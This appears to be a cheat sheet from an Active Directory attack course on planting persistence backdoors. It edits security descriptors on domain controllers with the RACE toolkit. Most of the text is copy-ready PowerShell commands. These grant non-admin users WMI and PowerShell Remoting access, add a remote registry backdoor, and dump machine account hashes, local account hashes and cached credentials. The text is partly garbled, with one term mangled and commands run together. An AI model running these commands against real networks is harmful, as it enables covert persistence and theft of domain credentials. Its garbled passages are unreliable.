-
It is possible to modify Security Descriptors (security information like Owner, primary group, DAccess Control Model, SACL) of multiple remote access methods (securable objects) to allow access to non-admin users
-
A very effective backdoor mechanism
-
Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL:
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid -
ACE for built-in administrators for WMI namespaces
A;Cl;CCDCLCSWRPWPRCWD;;;SID -
ACLs can be modified to allow non-admin users access to securable objects. Using the RACE toolkit:
C:\AD\Tools\RACE-master\RACE.ps1
Using WMI
Set-RemoteWMI -SamAccountName username -VerboseSet-RemoteWMI -SamAccountName username -ComputerName domain-controller -namespace 'root\cimv2'Set-RemoteWMI -SamAccountName username -ComputerName domain-controller -Credential Administrator -namespace 'root\cimv2' -VerboseSet-RemoteWmi -SamAccountName username -ComputerName domain-controller-namespace 'root\cimv2' -Remove -VerboseUsing RACE toolkit
PS Remoting backdoor
Set-RemotePSRemoting -SamAccountName username -VerboseSet-RemotePSRemoting -SamAccountName username -ComputerName domain-controller -VerboseSet-RemotePSRemoting -SamAccountName username -ComputerName domain-controller -RemoveRemote Registry
Add-RemoteRegBackdoor -Computername domain-controller -Trustee username -VerboseGet-RemoteMachineAccountHash -ComputerName domain-controller -VerboseGet-RemoteLocalAccountHash -ComputerName domain-controller -VerboseGet-RemoteCachedCredential -ComputerName domain-controller -Verbose